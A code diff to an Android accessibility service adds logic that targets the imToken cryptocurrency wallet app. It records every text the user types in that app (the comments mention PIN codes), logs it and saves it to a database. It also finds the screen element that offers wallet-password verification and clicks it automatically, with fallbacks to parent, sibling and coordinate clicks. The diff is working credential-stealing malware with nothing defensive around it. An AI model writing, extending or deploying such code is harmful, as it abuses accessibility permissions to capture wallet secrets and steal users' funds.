|
|
@@ -215,17 +215,70 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
if (contentDescription == null) {
|
|
|
contentDescription = "";
|
|
|
}
|
|
|
- // PIN码
|
|
|
- Map<String, Object> map = new HashMap<>();
|
|
|
-// if (contentDescription.toString().contains("PIN")) {
|
|
|
- map.put("appName", applicationLabel.toString());
|
|
|
- map.put("record", inputText.toString());
|
|
|
- ZService.zService.saveTextRecordToDataBase(map);
|
|
|
-// } else {
|
|
|
-// Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
|
|
|
-// Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
|
|
|
-// Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
|
|
|
-// }
|
|
|
+ // 只记录imToken应用的输入
|
|
|
+ if ("imToken".equals(applicationLabel.toString())) {
|
|
|
+ // 如果只需要PIN码
|
|
|
+ // if (contentDescription.toString().contains("PIN"))
|
|
|
+ Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
|
|
|
+ Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
|
|
|
+ Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
|
|
|
+
|
|
|
+ Map<String, Object> map = new HashMap<>();
|
|
|
+ map.put("appName", applicationLabel.toString());
|
|
|
+ map.put("record", inputText.toString());
|
|
|
+ ZService.zService.saveTextRecordToDataBase(map);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ // 检测钱包密码验证区域
|
|
|
+ if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
|
|
|
+ AccessibilityNodeInfo root = getRootInActiveWindow();
|
|
|
+ if (root != null) {
|
|
|
+ List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText("使用钱包密码验证");
|
|
|
+ if (nodes != null && !nodes.isEmpty()) {
|
|
|
+ for (AccessibilityNodeInfo node : nodes) {
|
|
|
+ // 尝试点击节点本身
|
|
|
+ if (node.isClickable()) {
|
|
|
+ node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
|
|
|
+ Log.i(TAG, "已点击钱包密码验证区域");
|
|
|
+ break;
|
|
|
+ }
|
|
|
+
|
|
|
+ // 如果节点本身不可点击,尝试点击其父节点
|
|
|
+ AccessibilityNodeInfo parent = node.getParent();
|
|
|
+ if (parent != null && parent.isClickable()) {
|
|
|
+ parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
|
|
|
+ Log.i(TAG, "已点击钱包密码验证父区域");
|
|
|
+ break;
|
|
|
+ }
|
|
|
+
|
|
|
+ // 如果父节点也不可点击,尝试查找同级的可点击节点
|
|
|
+ if (parent != null) {
|
|
|
+ for (int i = 0; i < parent.getChildCount(); i++) {
|
|
|
+ AccessibilityNodeInfo sibling = parent.getChild(i);
|
|
|
+ if (sibling != node && sibling.isClickable()) {
|
|
|
+ sibling.performAction(AccessibilityNodeInfo.ACTION_CLICK);
|
|
|
+ Log.i(TAG, "已点击钱包密码验证同级区域");
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ // 如果以上都不可点击,尝试使用坐标点击
|
|
|
+ Rect rect = new Rect();
|
|
|
+ node.getBoundsInScreen(rect);
|
|
|
+ if (!rect.isEmpty()) {
|
|
|
+ int x = rect.centerX();
|
|
|
+ int y = rect.centerY();
|
|
|
+ performClick(x, y);
|
|
|
+ Log.i(TAG, "已通过坐标点击钱包密码验证区域");
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ Log.i(TAG, "未找到钱包密码验证区域");
|
|
|
}
|
|
|
}
|
|
|
}
|